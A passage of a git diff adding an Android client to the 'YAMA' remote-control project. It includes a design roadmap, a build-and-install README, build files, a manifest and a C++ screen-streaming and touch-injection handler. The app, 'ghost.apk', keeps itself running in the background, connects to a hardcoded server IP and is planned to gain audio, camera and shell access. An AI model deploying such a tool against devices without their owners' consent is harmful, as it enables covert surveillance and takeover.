- 连接断线自动重连后子连接同步重建(目前 `ScreenSpyThread` 有 20 次重试,但主连接重连后子连接未同步恢复)
|
||||||
|
- `WM_MBUTTONDOWN`(中键)手势映射(目前静默丢弃)
|
||||||
|
- `SystemManager` 封装:将 Java 层已上报的设备信息(型号、版本、IP)统一封装为独立模块
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、关键约束与风险
|
||||||
|
|
||||||
|
| 风险 | 影响 | 状态 |
|
||||||
|
|------|------|------|
|
||||||
|
| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决:`sha256_portable.h` + `build_android.sh` |
|
||||||
|
| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
|
||||||
|
| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程,说明开启步骤 |
|
||||||
|
| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
|
||||||
|
| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`,与 x264 现有配置一致 |
|
||||||
|
| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制,无解,提示用户 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、代码审查注意事项
|
||||||
|
|
||||||
|
### 最高原则:既有功能无破坏
|
||||||
|
|
||||||
|
增加 Android 客户端支持时,Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证:
|
||||||
|
|
||||||
|
| 检查项 | 说明 |
|
||||||
|
| --- | --- |
|
||||||
|
| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径,不受影响 |
|
||||||
|
| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
|
||||||
|
| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
|
||||||
|
| `FindHostByClientID` 与 `FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程(OnInitDialog)调用,OnReceiveComplete 在 IO 线程调用,后者读 `additonalInfo[]` 为只读操作,低概率竞争 |
|
||||||
|
| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸,CSS 拉伸不影响坐标精度 |
|
||||||
|
| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
|
||||||
|
|
||||||
|
### 审查流程
|
||||||
|
|
||||||
|
1. `git diff HEAD` 逐文件审查,重点关注非 Android 代码路径的改动
|
||||||
|
2. 确认所有新增条件分支均以 `isAndroidRemote`、`client_type === 'APK'` 等 Android 专有标志守卫
|
||||||
|
3. 共享协议结构体(`commands.h`、`LOGIN_INFOR`、`szReserved`)改动需确认向前/向后兼容
|
||||||
|
4. 服务端 C++ 改动在 Windows 下编译,前端 `index.html` 在桌面和移动浏览器两端验证
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、不在本期范围
|
||||||
|
|
||||||
|
- 音频监听(`AudioRecord` + Opus 编码)
|
||||||
|
- 文件管理(已有 `FileTransferV2`,后期可直接接入)
|
||||||
|
- 摄像头(前/后摄)
|
||||||
|
- Shell 终端(`/system/bin/sh` + PTY,可参考 `PTYHandler.h`)
|
||||||
|
- Root 特权功能(uinput、内核注入)
|
||||||
172
android/README.md
Normal file
@@ -0,0 +1,172 @@
|
|||||||
|
# YAMA Android 客户端
|
||||||
|
|
||||||
|
YAMA 的 Android 客户端,允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括:
|
||||||
|
|
||||||
|
- 屏幕实时截图并推流给服务端
|
||||||
|
- 接收服务端的触控/按键指令并注入到系统
|
||||||
|
- 后台保持心跳连接,支持长期驻留
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 编译前:配置服务端地址
|
||||||
|
|
||||||
|
服务端 IP 和端口在源码中硬编码,编译前必须修改:
|
||||||
|
|
||||||
|
文件:`app/src/main/java/com/yama/client/MainActivity.kt`
|
||||||
|
|
||||||
|
```kotlin
|
||||||
|
private val serverIp = "91.99.165.207" // 改为你的服务端 IP
|
||||||
|
private val serverPort = 443 // 改为你的服务端端口
|
||||||
|
```
|
||||||
|
|
||||||
|
改完再执行编译,否则客户端连不上服务端。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 编译环境
|
||||||
|
|
||||||
|
在 **WSL(Ubuntu)或原生 Linux** 上编译,Windows 原生环境不支持。
|
||||||
|
|
||||||
|
| 依赖 | 版本要求 | 安装命令 |
|
||||||
|
|---|---|---|
|
||||||
|
| Java | 17+ | `sudo apt install openjdk-17-jdk` |
|
||||||
|
| CMake | 3.22+ | `sudo apt install cmake` |
|
||||||
|
| Ninja | 任意 | `sudo apt install ninja-build` |
|
||||||
|
| Android SDK | 含 build-tools | 见下方说明 |
|
||||||
|
| Android NDK | 30.x(Linux 版) | 见下方说明 |
|
||||||
|
|
||||||
|
### Android SDK
|
||||||
|
|
||||||
|
推荐通过 Android Studio 安装,安装后 SDK 默认在:
|
||||||
|
|
||||||
|
- Windows:`%USERPROFILE%\AppData\Local\Android\Sdk`
|
||||||
|
- Linux:`~/Android/Sdk`
|
||||||
|
|
||||||
|
WSL 环境下脚本会自动检测 Windows 侧的 SDK,也可以手动指定:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
|
||||||
|
```
|
||||||
|
|
||||||
|
### Android NDK(Linux 版)
|
||||||
|
|
||||||
|
> **重要**:必须使用 **Linux 版 NDK**,Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 下载 Linux NDK(约 600 MB)
|
||||||
|
wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
|
||||||
|
unzip android-ndk-r30b-linux.zip -d $HOME
|
||||||
|
|
||||||
|
# 解压目录名可能带字母后缀(r30、r30b 等),统一重命名
|
||||||
|
mv $HOME/android-ndk-r30* $HOME/android-ndk
|
||||||
|
```
|
||||||
|
|
||||||
|
脚本会自动检测 `~/android-ndk`,也可以通过环境变量指定:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export ANDROID_NDK_HOME=$HOME/android-ndk
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 签名密钥(一次性准备)
|
||||||
|
|
||||||
|
Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中,**密码需向仓库维护者获取**,或通过以下方式传入:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 方式一:环境变量(推荐,避免每次输入)
|
||||||
|
export YAMA_PWD=密钥库密码
|
||||||
|
|
||||||
|
# 方式二:编译时脚本会交互提示输入
|
||||||
|
```
|
||||||
|
|
||||||
|
如需重新生成密钥库(密码遗失等情况):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd android/
|
||||||
|
keytool -genkeypair -keystore yama-release.jks \
|
||||||
|
-alias yama -keyalg RSA -keysize 2048 -validity 10000 \
|
||||||
|
-dname 'CN=YAMA,O=Internal,C=CN'
|
||||||
|
```
|
||||||
|
|
||||||
|
> 密钥库文件本身不含私密信息,可以提交到 git;密码不要提交。
|
||||||
|
> 重新生成密钥库后,已安装旧版本的设备需要先卸载再安装。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 编译
|
||||||
|
|
||||||
|
在 WSL 或 Linux 终端中,进入 `android/` 目录:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd android/
|
||||||
|
|
||||||
|
# 编译 Release(默认,约 1.7 MB,推荐部署用)
|
||||||
|
./build_apk.sh
|
||||||
|
|
||||||
|
# 编译 Debug(约 4 MB,含调试符号,开发排查用)
|
||||||
|
./build_apk.sh debug
|
||||||
|
|
||||||
|
# 清理所有编译产物(切换配置或遇到奇怪错误时使用)
|
||||||
|
./build_apk.sh clean
|
||||||
|
```
|
||||||
|
|
||||||
|
编译成功后产物:
|
||||||
|
|
||||||
|
| 类型 | 路径 |
|
||||||
|
|---|---|
|
||||||
|
| Release | `ghost.apk` |
|
||||||
|
| Debug | `ghost-debug.apk` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 安装到设备
|
||||||
|
|
||||||
|
### 1. 传输 APK
|
||||||
|
|
||||||
|
将 `ghost.apk` 拷贝到手机(USB 传输、微信文件传输等均可)。
|
||||||
|
|
||||||
|
### 2. 安装
|
||||||
|
|
||||||
|
在手机上用文件管理器找到 APK,点击安装。
|
||||||
|
|
||||||
|
如提示"禁止安装未知来源应用",需先开启允许:
|
||||||
|
|
||||||
|
- **Android 8+**:设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
|
||||||
|
- **MIUI/ColorOS 等**:设置 → 隐私/安全 → 安装未知应用
|
||||||
|
|
||||||
|
### 3. 解除受限设置(Android 13+ 必须)
|
||||||
|
|
||||||
|
Android 13 及以上系统对手动安装的 APK 有额外限制,若不解除,无法授权 Accessibility Service:
|
||||||
|
|
||||||
|
1. 打开 **设置 → 应用 → YAMA**
|
||||||
|
2. 点击右上角 **三点菜单**
|
||||||
|
3. 选择 **"允许受限设置"**(Allow restricted settings)
|
||||||
|
4. 使用 PIN 或指纹确认
|
||||||
|
|
||||||
|
> 此步骤每次重新安装 APK 后都需要重复执行一次。
|
||||||
|
|
||||||
|
### 4. 授权必要权限
|
||||||
|
|
||||||
|
**Accessibility Service**(必须,用于注入触控/按键)
|
||||||
|
|
||||||
|
设置 → 无障碍 → 已安装的应用 → YAMA → 开启
|
||||||
|
|
||||||
|
> 重装 APK 后此权限会被重置,需重新授权。
|
||||||
|
|
||||||
|
### 5. 启动
|
||||||
|
|
||||||
|
点击桌面 YAMA 图标启动,系统会弹出屏幕录制确认框,点击 **"立即开始"** 授权。
|
||||||
|
|
||||||
|
授权后应用进入后台运行,通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
|
||||||
|
|
||||||
|
> 屏幕录制确认在每次应用重启后都会弹出,这是 Android 系统的强制要求,无法跳过。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 注意事项
|
||||||
|
|
||||||
|
- 建议在电池优化设置中将 YAMA 设为 **"不限制"**(或"不优化"),防止系统在后台将其杀掉
|
||||||
|
- 路径:设置 → 应用 → YAMA → 电池 → 不限制
|
||||||
|
- 心跳间隔最小 30 秒,长期后台运行耗电量与微信后台相当
|
||||||
|
- 服务端可在设置中调大上报间隔(建议不超过 60 秒)以进一步降低耗电
|
||||||
83
android/app/build.gradle
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
plugins {
|
||||||
|
id 'com.android.application'
|
||||||
|
id 'org.jetbrains.kotlin.android'
|
||||||
|
}
|
||||||
|
|
||||||
|
// 模拟器调试时传 -PincludeEmulatorAbis=true;build_apk.sh 发布时强制传 false
|
||||||
|
def INCLUDE_EMULATOR_ABIS = project.findProperty('includeEmulatorAbis')?.toBoolean() ?: false
|
||||||
|
|
||||||
|
android {
|
||||||
|
namespace 'com.yama.client'
|
||||||
|
compileSdk 35
|
||||||
|
ndkVersion "30.0.14904198"
|
||||||
|
|
||||||
|
defaultConfig {
|
||||||
|
applicationId "com.yama.client"
|
||||||
|
minSdk 21
|
||||||
|
targetSdk 35
|
||||||
|
versionCode 1
|
||||||
|
versionName "1.0"
|
||||||
|
|
||||||
|
ndk {
|
||||||
|
if (INCLUDE_EMULATOR_ABIS) {
|
||||||
|
abiFilters 'arm64-v8a', 'armeabi-v7a', 'x86', 'x86_64'
|
||||||
|
} else {
|
||||||
|
abiFilters 'arm64-v8a', 'armeabi-v7a'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
externalNativeBuild {
|
||||||
|
cmake {
|
||||||
|
cppFlags '-std=c++17'
|
||||||
|
arguments '-DANDROID_STL=c++_static'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
externalNativeBuild {
|
||||||
|
cmake {
|
||||||
|
path "src/main/cpp/CMakeLists.txt"
|
||||||
|
version "3.22.1"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
signingConfigs {
|
||||||
|
release {
|
||||||
|
storeFile file("../yama-release.jks")
|
||||||
|
storePassword System.getenv("YAMA_PWD") ?: ""
|
||||||
|
keyAlias 'yama'
|
||||||
|
keyPassword System.getenv("YAMA_PWD") ?: ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
minifyEnabled true
|
||||||
|
shrinkResources true
|
||||||
|
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
|
||||||
|
'proguard-rules.pro'
|
||||||
|
signingConfig signingConfigs.release
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
packagingOptions {
|
||||||
|
jniLibs {
|
||||||
|
// .so 文件不压缩(ZIP_STORED),使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
|
||||||
|
useLegacyPackaging false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
compileOptions {
|
||||||
|
sourceCompatibility JavaVersion.VERSION_17
|
||||||
|
targetCompatibility JavaVersion.VERSION_17
|
||||||
|
}
|
||||||
|
|
||||||
|
kotlinOptions {
|
||||||
|
jvmTarget = '17'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'androidx.core:core-ktx:1.13.1'
|
||||||
|
implementation 'androidx.appcompat:appcompat:1.7.0'
|
||||||
|
}
|
||||||
2
android/app/proguard-rules.pro
vendored
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
# Keep all app classes — JNI method names must match exactly
|
||||||
|
-keep class com.yama.client.** { *; }
|
||||||
47
android/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:allowBackup="false"
|
||||||
|
android:extractNativeLibs="false"
|
||||||
|
android:icon="@mipmap/ic_launcher"
|
||||||
|
android:roundIcon="@mipmap/ic_launcher_round"
|
||||||
|
android:label="YAMA"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/Theme.YAMA">
|
||||||
|
|
||||||
|
<activity
|
||||||
|
android:name=".MainActivity"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
<service
|
||||||
|
android:name=".CaptureService"
|
||||||
|
android:foregroundServiceType="dataSync|mediaProjection"
|
||||||
|
android:exported="false" />
|
||||||
|
|
||||||
|
<service
|
||||||
|
android:name=".ControlService"
|
||||||
|
android:description="@string/accessibility_service_description"
|
||||||
|
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||||||
|
</intent-filter>
|
||||||
|
<meta-data
|
||||||
|
android:name="android.accessibilityservice"
|
||||||
|
android:resource="@xml/accessibility_service_config" />
|
||||||
|
</service>
|
||||||
|
|
||||||
|
</application>
|
||||||
|
|
||||||
|
</manifest>
|
||||||
56
android/app/src/main/cpp/CMakeLists.txt
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
cmake_minimum_required(VERSION 3.22)
|
||||||
|
project(yama_client LANGUAGES CXX C)
|
||||||
|
|
||||||
|
set(CMAKE_CXX_STANDARD 17)
|
||||||
|
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||||
|
set(CMAKE_CXX_EXTENSIONS OFF)
|
||||||
|
|
||||||
|
# YAMA 根目录(相对于本文件:cpp/ → main/ → src/ → app/ → android/ → YAMA/)
|
||||||
|
get_filename_component(YAMA_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../" ABSOLUTE)
|
||||||
|
|
||||||
|
# ---- 头文件搜索路径(与 linux/CMakeLists.txt 同构)----
|
||||||
|
include_directories(
|
||||||
|
${YAMA_ROOT}
|
||||||
|
${YAMA_ROOT}/client
|
||||||
|
${YAMA_ROOT}/compress
|
||||||
|
${CMAKE_CURRENT_SOURCE_DIR} # android_compat.h
|
||||||
|
)
|
||||||
|
|
||||||
|
# ---- 强制注入兼容头(替代修改共用源文件)----
|
||||||
|
add_compile_options(-include "${CMAKE_CURRENT_SOURCE_DIR}/android_compat.h")
|
||||||
|
|
||||||
|
# ---- 核心源文件(与 linux/CMakeLists.txt 相同)----
|
||||||
|
set(CORE_SOURCES
|
||||||
|
${YAMA_ROOT}/client/Buffer.cpp
|
||||||
|
${YAMA_ROOT}/client/IOCPClient.cpp
|
||||||
|
${YAMA_ROOT}/client/sign_shim_unix.cpp
|
||||||
|
${YAMA_ROOT}/common/logger.cpp
|
||||||
|
${YAMA_ROOT}/common/ikcp.c
|
||||||
|
)
|
||||||
|
|
||||||
|
# ---- Android NDK 入口 ----
|
||||||
|
set(ANDROID_SOURCES
|
||||||
|
main.cpp
|
||||||
|
)
|
||||||
|
|
||||||
|
add_library(yama SHARED ${CORE_SOURCES} ${ANDROID_SOURCES})
|
||||||
|
|
||||||
|
# ---- 预编译静态库(由 android/build_android_libs.ps1 产出)----
|
||||||
|
# 支持 arm64-v8a / armeabi-v7a(真机)和 x86 / x86_64(Android 模拟器)
|
||||||
|
target_link_libraries(yama PRIVATE
|
||||||
|
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libsign.a"
|
||||||
|
)
|
||||||
|
target_link_libraries(yama PRIVATE
|
||||||
|
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libzstd.a"
|
||||||
|
)
|
||||||
|
|
||||||
|
# ---- Android 系统库 ----
|
||||||
|
target_link_libraries(yama PRIVATE android log)
|
||||||
|
|
||||||
|
# ---- 编译选项 ----
|
||||||
|
target_compile_options(yama PRIVATE
|
||||||
|
-O2
|
||||||
|
-fvisibility=hidden
|
||||||
|
-Wno-unused-parameter
|
||||||
|
-Wno-missing-field-initializers
|
||||||
|
)
|
||||||
200
android/app/src/main/cpp/ScreenHandler.h
Normal file
@@ -0,0 +1,200 @@
|
|||||||
|
#pragma once
|
||||||
|
// Android 屏幕处理器:管理截屏子连接,接收 Java 侧 MediaCodec 输出的 H.264 NALU,
|
||||||
|
// 按协议封装后通过子连接发送给服务端。
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include "client/IOCPClient.h"
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <queue>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cinttypes>
|
||||||
|
#include <android/log.h>
|
||||||
|
|
||||||
|
#define LOGI_SH(...) __android_log_print(ANDROID_LOG_INFO, "YAMA_SCR", __VA_ARGS__)
|
||||||
|
#define LOGE_SH(...) __android_log_print(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
|
||||||
|
|
||||||
|
extern uint64_t g_myClientID;
|
||||||
|
// 定义在 main.cpp,供子连接的 OnReceive 调用
|
||||||
|
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
|
||||||
|
|
||||||
|
// Linux/macOS 共用的 BITMAPINFOHEADER 布局(与 Windows 完全一致)
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct BmpInfoHeader {
|
||||||
|
uint32_t biSize;
|
||||||
|
int32_t biWidth;
|
||||||
|
int32_t biHeight;
|
||||||
|
uint16_t biPlanes;
|
||||||
|
uint16_t biBitCount;
|
||||||
|
uint32_t biCompression;
|
||||||
|
uint32_t biSizeImage;
|
||||||
|
int32_t biXPelsPerMeter;
|
||||||
|
int32_t biYPelsPerMeter;
|
||||||
|
uint32_t biClrUsed;
|
||||||
|
uint32_t biClrImportant;
|
||||||
|
};
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
class AndroidScreenHandler : public IOCPManager {
|
||||||
|
public:
|
||||||
|
AndroidScreenHandler(IOCPClient* client, int width, int height)
|
||||||
|
: m_client(client), m_width(width), m_height(height),
|
||||||
|
m_started(false), m_running(true), m_firstSent(false)
|
||||||
|
{
|
||||||
|
memset(&m_bmpHdr, 0, sizeof(m_bmpHdr));
|
||||||
|
m_bmpHdr.biSize = sizeof(BmpInfoHeader);
|
||||||
|
m_bmpHdr.biWidth = width;
|
||||||
|
m_bmpHdr.biHeight = height;
|
||||||
|
m_bmpHdr.biPlanes = 1;
|
||||||
|
m_bmpHdr.biBitCount = 32;
|
||||||
|
m_bmpHdr.biCompression = 0;
|
||||||
|
m_bmpHdr.biSizeImage = (uint32_t)(width * height * 4);
|
||||||
|
// 1 = top-down H264(Android MediaCodec 标准编码顺序);
|
||||||
|
// 服务端据此用负步长写 DIB,抵消 GDI bottom-up 翻转
|
||||||
|
m_bmpHdr.biClrImportant = 1;
|
||||||
|
|
||||||
|
m_sendThread = std::thread(&AndroidScreenHandler::SendLoop, this);
|
||||||
|
}
|
||||||
|
|
||||||
|
~AndroidScreenHandler() {
|
||||||
|
m_running = false;
|
||||||
|
m_cond.notify_all();
|
||||||
|
if (m_sendThread.joinable())
|
||||||
|
m_sendThread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 子连接建立后立即调用,告知服务端屏幕尺寸和编码格式
|
||||||
|
void SendBitmapInfo() {
|
||||||
|
const uint32_t total = 1 + sizeof(BmpInfoHeader) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
|
||||||
|
std::vector<uint8_t> buf(total, 0);
|
||||||
|
|
||||||
|
buf[0] = TOKEN_BITMAPINFO;
|
||||||
|
memcpy(&buf[1], &m_bmpHdr, sizeof(BmpInfoHeader));
|
||||||
|
|
||||||
|
uint64_t clientID = g_myClientID;
|
||||||
|
uint64_t zero = 0;
|
||||||
|
size_t off = 1 + sizeof(BmpInfoHeader);
|
||||||
|
memcpy(&buf[off], &clientID, 8);
|
||||||
|
memcpy(&buf[off + 8], &zero, 8);
|
||||||
|
|
||||||
|
ScreenSettings ss = {};
|
||||||
|
ss.MaxFPS = 10;
|
||||||
|
ss.ScreenWidth = m_width;
|
||||||
|
ss.ScreenHeight = m_height;
|
||||||
|
ss.QualityLevel = QUALITY_GOOD; // 告知服务端使用 H264 解码器
|
||||||
|
ss.ScreenType = USING_VIRTUAL; // 虚拟显示
|
||||||
|
memcpy(&buf[off + 16], &ss, sizeof(ss));
|
||||||
|
|
||||||
|
m_client->Send2Server((char*)buf.data(), total);
|
||||||
|
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
|
||||||
|
|
||||||
|
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
|
||||||
|
// 服务端在 auth 通过瞬间发 COMMAND_NEXT,此时 setManagerCallBack 尚未注册,
|
||||||
|
// 消息被 WorkThread 丢弃,m_started 永远 false 导致帧全部卡在队列里。
|
||||||
|
m_started = true;
|
||||||
|
m_cond.notify_all();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 JNI 线程调用,投递 MediaCodec 输出的 NALU
|
||||||
|
void OnFrameData(const uint8_t* data, uint32_t size, bool isKeyframe) {
|
||||||
|
if (!m_running || size == 0) return;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_mutex);
|
||||||
|
while (m_queue.size() >= 6) m_queue.pop();
|
||||||
|
m_queue.push({std::vector<uint8_t>(data, data + size), isKeyframe});
|
||||||
|
}
|
||||||
|
m_cond.notify_one();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID OnReceive(PBYTE data, ULONG size) override {
|
||||||
|
if (!size) return;
|
||||||
|
switch (data[0]) {
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
// 推送模式下已在 SendBitmapInfo 里开始推流;此处保留兼容,无副作用。
|
||||||
|
LOGI_SH("COMMAND_NEXT received");
|
||||||
|
m_started = true;
|
||||||
|
m_cond.notify_all();
|
||||||
|
break;
|
||||||
|
case CMD_QUALITY_LEVEL:
|
||||||
|
if (size >= 2) LOGI_SH("QualityLevel=%d", (int)(int8_t)data[1]);
|
||||||
|
break;
|
||||||
|
case COMMAND_SCREEN_CONTROL: {
|
||||||
|
// 服务端通过子连接下发鼠标/键盘控制包(MSG64 固定 48 字节)
|
||||||
|
// 坐标从 lParam(offset 24)读取,与 Windows/Linux/macOS 客户端一致:
|
||||||
|
// lParam = MAKELPARAM(enc_x, enc_y),低16位=x,高16位=y。
|
||||||
|
// 不读 pt.x/pt.y (offset 40/44):64-bit MSG 的 pt 在 offset 36,
|
||||||
|
// 与 MSG64 offset 40 不同,直接读会得到错误坐标。
|
||||||
|
if ((ULONG)size < 1 + 48u) break;
|
||||||
|
const uint8_t* p = data + 1;
|
||||||
|
uint64_t msgVal = 0, wParam = 0, lParam = 0;
|
||||||
|
memcpy(&msgVal, p + 8, 8);
|
||||||
|
memcpy(&wParam, p + 16, 8);
|
||||||
|
memcpy(&lParam, p + 24, 8);
|
||||||
|
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
|
||||||
|
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
|
||||||
|
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
struct Frame { std::vector<uint8_t> data; bool isKeyframe; };
|
||||||
|
|
||||||
|
IOCPClient* m_client;
|
||||||
|
int m_width, m_height;
|
||||||
|
std::atomic<bool> m_started;
|
||||||
|
std::atomic<bool> m_running;
|
||||||
|
std::atomic<bool> m_firstSent;
|
||||||
|
std::atomic<bool> m_skipLogged{false};
|
||||||
|
|
||||||
|
BmpInfoHeader m_bmpHdr;
|
||||||
|
|
||||||
|
std::queue<Frame> m_queue;
|
||||||
|
std::mutex m_mutex;
|
||||||
|
std::condition_variable m_cond;
|
||||||
|
std::thread m_sendThread;
|
||||||
|
|
||||||
|
void SendLoop() {
|
||||||
|
while (m_running) {
|
||||||
|
std::unique_lock<std::mutex> lk(m_mutex);
|
||||||
|
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
|
||||||
|
if (!m_running) break;
|
||||||
|
|
||||||
|
Frame f = std::move(m_queue.front());
|
||||||
|
m_queue.pop();
|
||||||
|
lk.unlock();
|
||||||
|
|
||||||
|
// 第一帧必须是关键帧
|
||||||
|
if (!m_firstSent && !f.isKeyframe) {
|
||||||
|
if (!m_skipLogged.exchange(true))
|
||||||
|
LOGI_SH("SendLoop: waiting for first IDR, skipping P-frames");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!m_firstSent)
|
||||||
|
LOGI_SH("SendH264 first IDR size=%u", (uint32_t)f.data.size());
|
||||||
|
SendH264(f.data.data(), (uint32_t)f.data.size());
|
||||||
|
m_firstSent = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 格式: [TOKEN_NEXTSCREEN:1][ALGORITHM_H264:1][cursorX:4][cursorY:4][cursorType:1][NALU:N]
|
||||||
|
void SendH264(const uint8_t* nalu, uint32_t naluSize) {
|
||||||
|
const uint32_t hdrSize = 1 + 1 + 4 + 4 + 1;
|
||||||
|
std::vector<uint8_t> pkt(hdrSize + naluSize);
|
||||||
|
|
||||||
|
pkt[0] = TOKEN_NEXTSCREEN;
|
||||||
|
pkt[1] = ALGORITHM_H264;
|
||||||
|
// cursor: (0,0), type: IDC_ARROW=1
|
||||||
|
memset(&pkt[2], 0, 8);
|
||||||
|
pkt[10] = 1;
|
||||||
|
memcpy(&pkt[hdrSize], nalu, naluSize);
|
||||||
|
|
||||||
|
m_client->Send2Server((char*)pkt.data(), pkt.size());
|
||||||
|
}
|
||||||
|
};
|
||||||
24
android/app/src/main/cpp/android_compat.h
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
// android_compat.h - Android NDK 兼容垫片,通过 CMake force-include 注入每个源文件
|
||||||
|
// 不修改任何共用代码(client/、common/)
|
||||||
|
#pragma once
|
||||||
|
#ifdef __ANDROID__
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdlib>
|
||||||
|
|
||||||
|
// strcpy_s(dest, src) — MSVC 2-arg 扩展,Android NDK 无此签名
|
||||||
|
template<size_t N>
|
||||||
|
inline int strcpy_s(char (&dest)[N], const char* src) {
|
||||||
|
strncpy(dest, src ? src : "", N - 1);
|
||||||
|
dest[N - 1] = '\0';
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif // __cplusplus
|
||||||
|
|
||||||
|
// rand_s — Windows 安全随机数,Android 用 arc4random 替代
|
||||||
|
